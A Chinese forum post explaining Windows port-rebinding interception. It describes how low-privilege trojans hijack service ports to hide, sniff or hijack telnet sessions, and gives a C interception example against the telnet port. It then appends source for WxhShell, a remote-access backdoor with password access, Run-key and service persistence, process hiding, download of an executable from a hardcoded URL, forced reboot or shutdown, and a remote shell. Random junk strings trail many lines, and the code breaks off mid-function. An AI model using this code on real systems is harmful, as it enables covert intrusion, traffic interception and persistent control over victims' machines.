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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s>}ScJZK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pba 6Ay6B  
H|a9};pO\  
  saddr.sin_family = AF_INET; 5|l&` fv`  
5DgfrX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |7@[+  
<b0;Nf   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]{- >/.oB  
EdQ:8h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nAc02lJh|  
S}=d74(/n  
  这意味着什么?意味着可以进行如下的攻击: 3+6s}u)  
pk&kJ307  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A?l.(qG C_  
_g+^jR4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2[WH8l+  
=nQ"ye  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SKTf=rY  
5<o8prt B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  j$l[OZ:#  
/S29\^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Uj!3H]d  
<DG=qP6O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 VgfA&?4[  
5GD6%{\O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w2B If[~t  
d-%!.,F#W  
  #include 0fgt2gA33  
  #include [%U(l<  
  #include 21Z}Zj  
  #include    HWe?vz$4"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !acm@"Ea  
  int main() BR1oE3in  
  { l{U-$}  
  WORD wVersionRequested; O 0Fw!IQk  
  DWORD ret; W5a)`%H  
  WSADATA wsaData; xf1@mi[a  
  BOOL val; rUC@Bf  
  SOCKADDR_IN saddr; FI @!7@  
  SOCKADDR_IN scaddr; @^47Qgj8 U  
  int err; v-`RX;8  
  SOCKET s; * b+ef  
  SOCKET sc; Kk?P89=*  
  int caddsize; ia.95H;  
  HANDLE mt; 63b?-.!b  
  DWORD tid;   vby[# S|  
  wVersionRequested = MAKEWORD( 2, 2 ); %E q} H  
  err = WSAStartup( wVersionRequested, &wsaData ); c"X`OB  
  if ( err != 0 ) { ^l\U6$3  
  printf("error!WSAStartup failed!\n"); &WW|! 6  
  return -1; I;dc[m  
  } cx?XJ)  
  saddr.sin_family = AF_INET; 'gYUyl  
   |2mm@):  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3OUZR5_$  
xL,;(F\^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); n[Jpy[4g  
  saddr.sin_port = htons(23); ,DrE4")4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C(i1Vx<-  
  { O][R "5d  
  printf("error!socket failed!\n"); =]r<xON%S  
  return -1; STMc@MeZU_  
  } yLfb'Ba  
  val = TRUE; P]*,955*)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L\L/+yNv:G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T;(k  
  { UR')) 1n  
  printf("error!setsockopt failed!\n"); S]^`Qy)  
  return -1; H f}->  
  } DyiyH%SSD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `usX(snY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1#H=<iJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *QAcp` ;*  
,v;P@RL|g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6 /8?:  
  { E? > ERO3  
  ret=GetLastError(); W7 9wz\a  
  printf("error!bind failed!\n"); }:UNL^e?  
  return -1; ]qZs^kQ  
  } Y#3<w  
  listen(s,2); E0XfM B]+  
  while(1) b(8#*S!U  
  { 7MXi_V;p<  
  caddsize = sizeof(scaddr); OZ2gIK  
  //接受连接请求 n_[;2XQQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d+ P<nI/|  
  if(sc!=INVALID_SOCKET) 0Da9,&D  
  { }^).Y7{g[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -LAYj:4  
  if(mt==NULL) %5|awWo_?  
  {  5VWyc9Q  
  printf("Thread Creat Failed!\n"); Q/EHvb]  
  break; }E626d}uA  
  } [R$iX  
  } G }B)bM2  
  CloseHandle(mt); aw z(W >  
  } s!* m^zx  
  closesocket(s); |l)z^V!  
  WSACleanup(); Y%AVC9(  
  return 0; &S/@i|_  
  }   ?kfLOJQ:I  
  DWORD WINAPI ClientThread(LPVOID lpParam) QXTl'.SfF  
  { ,tt]C~\u  
  SOCKET ss = (SOCKET)lpParam; jqULg iC  
  SOCKET sc; ttlFb]zZh  
  unsigned char buf[4096];  egur}  
  SOCKADDR_IN saddr; _tJp@\rOz=  
  long num; &s.S) 'l4l  
  DWORD val; NRU&GCVwu  
  DWORD ret; |tl4I2AV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cE3g7(a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Bf37/kkf(  
  saddr.sin_family = AF_INET; 9os>k*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !]1'?8  
  saddr.sin_port = htons(23); CmyCne   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oWg"f*  
  { {C6,h#|pg  
  printf("error!socket failed!\n"); 5U[m]W=B  
  return -1; ygiZ~v4P/  
  } O,m0Xb2s]~  
  val = 100; M`6rI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6_`9 4+  
  { QDO.&G2  
  ret = GetLastError(); 9F[k;Uw  
  return -1; ^Ec);Z  
  } _.b^4^[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t= =+SHGP  
  { R(jp  
  ret = GetLastError(); b^WTX  
  return -1; hfUN~89;  
  } /DxaKZ ;b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s,&tD WU  
  { MM_c{gFF  
  printf("error!socket connect failed!\n"); ~?l>QP|o  
  closesocket(sc); Pc"g  
  closesocket(ss); 8UY[$lc  
  return -1; s];jroW@u  
  } 565UxG }  
  while(1) |$AoI  
  { 6Z2a5zO8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5Q $6~\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v#yeiE4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "Dr8}g:X  
  num = recv(ss,buf,4096,0); S6~&g|T,  
  if(num>0) OsQB` D  
  send(sc,buf,num,0); L[M`LZpJo  
  else if(num==0)  R d|#-7  
  break; :xd)]Ns  
  num = recv(sc,buf,4096,0); 6|h~pH  
  if(num>0) 46 p%y  
  send(ss,buf,num,0); 2`2S94'  
  else if(num==0) ;3~+M:{2  
  break; m-%.LDqM  
  } IrIF 853g  
  closesocket(ss); fa~4+jx>S  
  closesocket(sc); U]!~C 1cmw  
  return 0 ; ,E YB E  
  } v[P $c$Xi  
Pra,r9h,  
3<c_`BWu  
========================================================== )#|I(Gz ^  
^5{M@o  
下边附上一个代码,,WXhSHELL =t,}I\_^c  
B4 XN  
========================================================== ?H7YmN  
G)|s(C!  
#include "stdafx.h" ?<3wks|C  
) ?L  
#include <stdio.h> 9d5|rk8VS  
#include <string.h> ;gE]*Y.Z.p  
#include <windows.h> jv<C#0E^  
#include <winsock2.h> "9>.,nzt  
#include <winsvc.h> )21yD1"6  
#include <urlmon.h>  ' ];|  
5Vq&w`sW  
#pragma comment (lib, "Ws2_32.lib") vz{Z tE"  
#pragma comment (lib, "urlmon.lib") =Fu~ 0Wc  
m+Um^:\jX  
#define MAX_USER   100 // 最大客户端连接数 'aLTiF+  
#define BUF_SOCK   200 // sock buffer [PRQa[_  
#define KEY_BUFF   255 // 输入 buffer eaNMcC1  
R]Iv?)Y  
#define REBOOT     0   // 重启 \xtY\q,[  
#define SHUTDOWN   1   // 关机 ;ty08D/  
vh29mzum  
#define DEF_PORT   5000 // 监听端口 ONc-jU^  
{Z~5#<t  
#define REG_LEN     16   // 注册表键长度 gGdt&9z %  
#define SVC_LEN     80   // NT服务名长度 5!tiu4LU  
2.6F5&:($  
// 从dll定义API "$@Wy,yp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9/LnO'&-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -FxE!K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wO>P< KBU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d z-  
RxeyMNd  
// wxhshell配置信息 #KFpT__F  
struct WSCFG { 5:" zs  
  int ws_port;         // 监听端口 mmf}6ABYT  
  char ws_passstr[REG_LEN]; // 口令 -D?-ctFYj^  
  int ws_autoins;       // 安装标记, 1=yes 0=no .YYLMI  
  char ws_regname[REG_LEN]; // 注册表键名 J.t tJOP  
  char ws_svcname[REG_LEN]; // 服务名 =zetZJg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0vi)m y;!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :4HZ >!i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,p3moD 3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IRq@~vdt)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f>i" j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S(&]?!  
Pr>Pxsr&  
}; >I*Qc<X91  
,o?yS>L_r  
// default Wxhshell configuration =x QLf4>  
struct WSCFG wscfg={DEF_PORT, = nIl$9  
    "xuhuanlingzhe", I4Y; 9Gg  
    1, x{|`q9V~ N  
    "Wxhshell", !}+rg2  
    "Wxhshell", f\/'Fy0  
            "WxhShell Service", z[E gMS!  
    "Wrsky Windows CmdShell Service", . #7B10  
    "Please Input Your Password: ", mW+QJ`3  
  1, W)OoHpdw  
  "http://www.wrsky.com/wxhshell.exe", Gdi8Al]\Nl  
  "Wxhshell.exe" E <O:  
    }; S|_}0  
]CL9N  
// 消息定义模块 76'vsg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `8D)j>Yh~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^ y1P~4w?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "i5Rh^  
char *msg_ws_ext="\n\rExit."; fc,^H&  
char *msg_ws_end="\n\rQuit."; zA<Hj;9SM  
char *msg_ws_boot="\n\rReboot..."; <D1>;C  
char *msg_ws_poff="\n\rShutdown..."; O]/BNacS  
char *msg_ws_down="\n\rSave to "; Q*GJREC  
>^U$2P  
char *msg_ws_err="\n\rErr!"; "&Y5Nh  
char *msg_ws_ok="\n\rOK!"; :t'*fHi~  
Wwf],Ya  
char ExeFile[MAX_PATH]; $@ R[$/  
int nUser = 0; ,'FdUq)i  
HANDLE handles[MAX_USER]; <dd(i  
int OsIsNt; @y+Hb@ >.  
Q^Lk^PP7  
SERVICE_STATUS       serviceStatus; i^O(JC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .3Ag6YI0N  
Z: e|~#  
// 函数声明 0</]Jo%  
int Install(void);  '7j!B1K-  
int Uninstall(void); c}l?x \/  
int DownloadFile(char *sURL, SOCKET wsh); Z(gW(O9h.V  
int Boot(int flag); >axf_k  
void HideProc(void); Qgel^"t]i  
int GetOsVer(void); kZfUwF:yN  
int Wxhshell(SOCKET wsl); bVbh| AA  
void TalkWithClient(void *cs); Wu\szI"  
int CmdShell(SOCKET sock); LY? `+/  
int StartFromService(void); f(}AdW}?  
int StartWxhshell(LPSTR lpCmdLine); FK:Tni  
\{Yi7V Xv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j)vfI>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1~|o@CO  
5|pPzEA>  
// 数据结构和表定义 %YhM?jMW  
SERVICE_TABLE_ENTRY DispatchTable[] =  > h>  
{ *fIb|r  
{wscfg.ws_svcname, NTServiceMain}, 2b`3"S  
{NULL, NULL} u*:;O\6l  
}; L6jD4ec8  
2y"|l  
// 自我安装 BPH-g\q  
int Install(void) r^2>60q'  
{ ]a ,H!0i  
  char svExeFile[MAX_PATH]; VuiK5?m  
  HKEY key; `62iW3y  
  strcpy(svExeFile,ExeFile); P_:~!+W,  
": G\  
// 如果是win9x系统,修改注册表设为自启动 'Drz6K_KrP  
if(!OsIsNt) { wQnW2)9!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LKx<hl$O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SD=kpf;  
  RegCloseKey(key); b;AGw3SF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e 2@{Ab  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i!U,qV1  
  RegCloseKey(key); W-ctx"9DS  
  return 0; k>ERU]7[  
    } pod=|(c  
  } foi@z9  
} "PI]k  
else { 6(FkcC$G  
,o\-'   
// 如果是NT以上系统,安装为系统服务 At?]FjL6S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m&36$>r=  
if (schSCManager!=0) s>VpbJ3S  
{ oU`J~6.&S  
  SC_HANDLE schService = CreateService l^ Q-KUI  
  ( o(w xu)  
  schSCManager, /Mg$t6vM  
  wscfg.ws_svcname, h\@\*Xz<v  
  wscfg.ws_svcdisp, /%P|<[< [  
  SERVICE_ALL_ACCESS, -#e3aXe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $^ wqoW%t  
  SERVICE_AUTO_START, "G+g(?N]j  
  SERVICE_ERROR_NORMAL, wVw?UN*rm;  
  svExeFile, \TF='@u.  
  NULL, ;#goC N.  
  NULL, 3a_=e B  
  NULL, Rb8wq.LqD  
  NULL, 8pEiU/V  
  NULL 6H)T=Z|  
  ); v_7?Zik8E  
  if (schService!=0) [J`%i U  
  { ^/H9`z;  
  CloseServiceHandle(schService); :MIJfr>z  
  CloseServiceHandle(schSCManager); ?)# qBE ]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (H/2{##  
  strcat(svExeFile,wscfg.ws_svcname); J2ryYdo>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ROv(O;.Ty  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rx}*I00  
  RegCloseKey(key); >*v P*H:P  
  return 0; 7tEkQZMDI  
    } aT[qJbp1  
  } -!~ T$}/F  
  CloseServiceHandle(schSCManager); 2^\67@9  
} t04_~e  
} 6~t;&)6J  
oXQzCjX_   
return 1; R'#1|eWCa  
} wTu_Am  
?aMV{H*Q*  
// 自我卸载 orGkS<P  
int Uninstall(void) GO|1O|?  
{ )Td;2  
  HKEY key; -{^IT`  
S>! YBzm&X  
if(!OsIsNt) { ? _>L<Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YoT< ]'  
  RegDeleteValue(key,wscfg.ws_regname); d[p-zn.  
  RegCloseKey(key); p,)~w1|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D;@nrj`.  
  RegDeleteValue(key,wscfg.ws_regname); ^E)*i#."4  
  RegCloseKey(key); Ui^~A  
  return 0; zn=Ifz)#|  
  } l[_ y|W5  
} a&?SRC'x  
} vzr?#FG  
else { 5vfzSJ  
!sJ*0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ) Ekd  
if (schSCManager!=0) !P_8D*^9  
{ jgz}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zs$Qo->F  
  if (schService!=0) x+=Ko  
  { b!h*I>`  
  if(DeleteService(schService)!=0) { 9ozK}Cg4  
  CloseServiceHandle(schService); i xf~3Y8  
  CloseServiceHandle(schSCManager); =`1#fQDt  
  return 0; 08+cNT  
  } "IjCuR;#  
  CloseServiceHandle(schService); %YH+=b:uW  
  } npj_i /&g  
  CloseServiceHandle(schSCManager); x3`b5^  
}  wh A  
} +bGj(T%+'  
*i=+["A  
return 1; FK^JCs^  
} <fZ?F=  
Ci}v+  
// 从指定url下载文件 &$,%6X"  
int DownloadFile(char *sURL, SOCKET wsh) 74h[YyVi  
{ P_[A  
  HRESULT hr; 4dB6cg  
char seps[]= "/"; {#Lj,o  
char *token; LhfI"fc  
char *file; na5:)j4<  
char myURL[MAX_PATH]; #TXN\YNP  
char myFILE[MAX_PATH]; MKnG:)T<?l  
O]XdPH20  
strcpy(myURL,sURL); n' XvPV|  
  token=strtok(myURL,seps); D^[}:O{  
  while(token!=NULL) C0eqC u)Q  
  { YV6@SXy  
    file=token; ,D6hJ_:  
  token=strtok(NULL,seps); l\?HeVk^  
  } %y{f] m  
':mw(`  
GetCurrentDirectory(MAX_PATH,myFILE); T~238C{vh  
strcat(myFILE, "\\"); o9j*Yz  
strcat(myFILE, file); [\Ks+S  
  send(wsh,myFILE,strlen(myFILE),0); &yQilyU{V  
send(wsh,"...",3,0); o:p6[SGd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {N \ri{|  
  if(hr==S_OK) 9(\eL9^  
return 0; yX {CV7%O  
else WeqE 9@V  
return 1; 7M|!N_ $  
$RFy9(>  
} R>r@I_  
t,YnweH  
// 系统电源模块 cJ}J4?  
int Boot(int flag) -=tf)  
{ )r9l T*z  
  HANDLE hToken; \hm;p  
  TOKEN_PRIVILEGES tkp; ']bpsn  
ed=pRb  
  if(OsIsNt) { s!vvAD;\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \NiW(!Z}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  ?^8CD.|  
    tkp.PrivilegeCount = 1; xb N)z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  ]\qbe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Eeumi#$Z   
if(flag==REBOOT) { 2/T4.[`t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k^JV37;bl  
  return 0; 0`LR!X  
} {.D^2mj |  
else { zq:+e5YT?T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0ESxsba  
  return 0; e%Sw(=a  
} 4(h19-V  
  } ?yfw3s  
  else { \),DW)  
if(flag==REBOOT) { t#fbagTON  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 17\5 NgB  
  return 0; xrXfLujn%  
} I 3ZlKI  
else { }!&Vcf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E8Rk b}  
  return 0; Ih&rXQ$  
} pG|+\k/B  
} *2? -6  
CTNeh%K;  
return 1; ^`HP&V  
} 2"'<Yk9  
E1=WH-iA0  
// win9x进程隐藏模块 xw>\6VNt  
void HideProc(void) oHW:s96e  
{ 2j*+^&M/  
~]d3 f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ||}k99y +  
  if ( hKernel != NULL ) 3pV^Oe^9  
  { DCv=*=6w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {\SJr:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +9tm9<F8  
    FreeLibrary(hKernel); &=KNKE`  
  } Hv>16W$_  
".Z1CBM(  
return; +K@wh  
} fMRv:kNAt  
C:?mOM#_  
// 获取操作系统版本 nx2iEXsa  
int GetOsVer(void) vFz#A/1  
{ @`IMR$'  
  OSVERSIONINFO winfo; w~3~:w$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gsSUmf1  
  GetVersionEx(&winfo); 1-h"1UN2E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e[>c>F^  
  return 1; [myIcLp^aP  
  else $*KM%M6  
  return 0; daX$=n  
} bg =<)s  
PQ#zF&gL9t  
// 客户端句柄模块 vi4lmkyh^  
int Wxhshell(SOCKET wsl) -;i vBR  
{ Z [aKic  
  SOCKET wsh; pZ IDGy=~  
  struct sockaddr_in client; 3YFbT Z  
  DWORD myID; ^z _m<&r  
#},4m  
  while(nUser<MAX_USER) kT=KxS{  
{ qubyZ8hx  
  int nSize=sizeof(client); 5LkpfmR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :Sd"~\N+  
  if(wsh==INVALID_SOCKET) return 1; q#6K'=AC  
03!!# 5iJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kdam]L:9  
if(handles[nUser]==0) JM& :dzyIP  
  closesocket(wsh); CY4ntd4M  
else $YPU(y  
  nUser++; HQ7  
  } wH<'*>/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8iIz!l%O  
}OJ,<!v2pc  
  return 0; 2`]`nTz,  
} ##+f/Fxym  
ag7(nn0!  
// 关闭 socket #guq/g$  
void CloseIt(SOCKET wsh) $#HPwmd  
{ N!TC}#}l  
closesocket(wsh); gQ0W>\xz  
nUser--; O 8\wH  
ExitThread(0); )[Bl3+'  
} uQ_s$@brI  
_'.YC<;  
// 客户端请求句柄 *oW^P~m/  
void TalkWithClient(void *cs) mDG=h6y"V  
{ hb,G'IU  
#\{j/{VZ  
  SOCKET wsh=(SOCKET)cs; G'dN_6ho3  
  char pwd[SVC_LEN]; c:@lR/oe"  
  char cmd[KEY_BUFF]; 8 etNS~^  
char chr[1]; !e0OGf  
int i,j; Jq1^}1P  
9[9 ZI1*s  
  while (nUser < MAX_USER) { mjI $z3  
U7(t >/  
if(wscfg.ws_passstr) { mT3'kUZ}]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VOa7qnh4:[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #K4lnC2qz  
  //ZeroMemory(pwd,KEY_BUFF); >}p'E9J?r  
      i=0; 4Gsbcl{  
  while(i<SVC_LEN) { B.T|e,g26  
5TB==Fj ?  
  // 设置超时 ;LhNz()b  
  fd_set FdRead; Vlka+$4!  
  struct timeval TimeOut; 4kr! Af  
  FD_ZERO(&FdRead); UD+r{s/%  
  FD_SET(wsh,&FdRead); f-'$tMs  
  TimeOut.tv_sec=8; op|:XLR5  
  TimeOut.tv_usec=0; 03$lgDQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SBbPO5^](  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RPh8n4&("  
p?#%G`dm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  z^YL$  
  pwd=chr[0]; ,xzSFs>2  
  if(chr[0]==0xd || chr[0]==0xa) { IuW5LS  
  pwd=0; 8#_"WzDw  
  break; A $GiO  
  } -:jC.} Y  
  i++; )2YZ [~3  
    } )Z.M(P  
g:&V9~FR  
  // 如果是非法用户,关闭 socket Cr;d !=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8A,="YIt  
} x$WdW+glZ-  
l`' lqnhv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /iwL$xQQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MB#KLTwnT  
A:JW Ux  
while(1) { % njcWVP;  
"{X_[  
  ZeroMemory(cmd,KEY_BUFF); d=$1Z. ]  
@XSxoUF\  
      // 自动支持客户端 telnet标准   K]0K/~>8  
  j=0; )h&*b9[B=  
  while(j<KEY_BUFF) { OM1pyt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); % QKlvmI"  
  cmd[j]=chr[0]; a+_F^   
  if(chr[0]==0xa || chr[0]==0xd) { M?FbBJ`sF  
  cmd[j]=0; `B GU  
  break; n@e[5f9?x  
  } oKlOcws}  
  j++; NW*qw q  
    }  (r!d4  
Fu/{*4  
  // 下载文件 j\^ u_D  
  if(strstr(cmd,"http://")) { 1(ud(8?|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =#Qm D=  
  if(DownloadFile(cmd,wsh)) a#NP69  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C\d5t4s  
  else +P//p$pE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 45DR%cz  
  } w*-1*XNA  
  else { \@eC^D2  
puPYM"  
    switch(cmd[0]) { ==W`qC4n?n  
  tG"lI/  
  // 帮助 50Kv4a"  
  case '?': { lDd8dT-Q.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1r-#QuV#  
    break; #]_S)_Z-  
  } p#T^o]+  
  // 安装 "v9i;Ba>+  
  case 'i': { YJ[Jo3M@j0  
    if(Install()) c~=yD:$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7lJs{$ P  
    else R8K ?! Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~H+W[r}  
    break; S}T*gUO  
    } OlJkyL8|  
  // 卸载 zV<vwIUrr  
  case 'r': { Dqu][~oQ  
    if(Uninstall()) [L+VvO%cT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <s737Rl  
    else SA'c}gP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oO 8opS7F  
    break; .^} vDA  
    } ::Nhs/B/  
  // 显示 wxhshell 所在路径 7Hm/ g  
  case 'p': { `Y5{opG7-  
    char svExeFile[MAX_PATH]; a| s64+  
    strcpy(svExeFile,"\n\r"); HNj6Iw  
      strcat(svExeFile,ExeFile); 3|FZ!8D  
        send(wsh,svExeFile,strlen(svExeFile),0); z$q:Y g  
    break; iOO1\9{@  
    } >FRJvZ6  
  // 重启 HcKZmL. wp  
  case 'b': { sIZ|N"2]A*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .!&S{;Vv?W  
    if(Boot(REBOOT)) UVIR P#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +#/`4EnI  
    else { O@gHx!L  
    closesocket(wsh); \a|bx4M  
    ExitThread(0); 1sHaG  
    } =yZiBJ  
    break; 01-n_ $b  
    } nnm9pnx  
  // 关机 UJX=lh.o  
  case 'd': { :.k)!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a=!I(50  
    if(Boot(SHUTDOWN)) n~wNee  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L9FijF7  
    else { R>YDn|cWI  
    closesocket(wsh); .-(s`2  
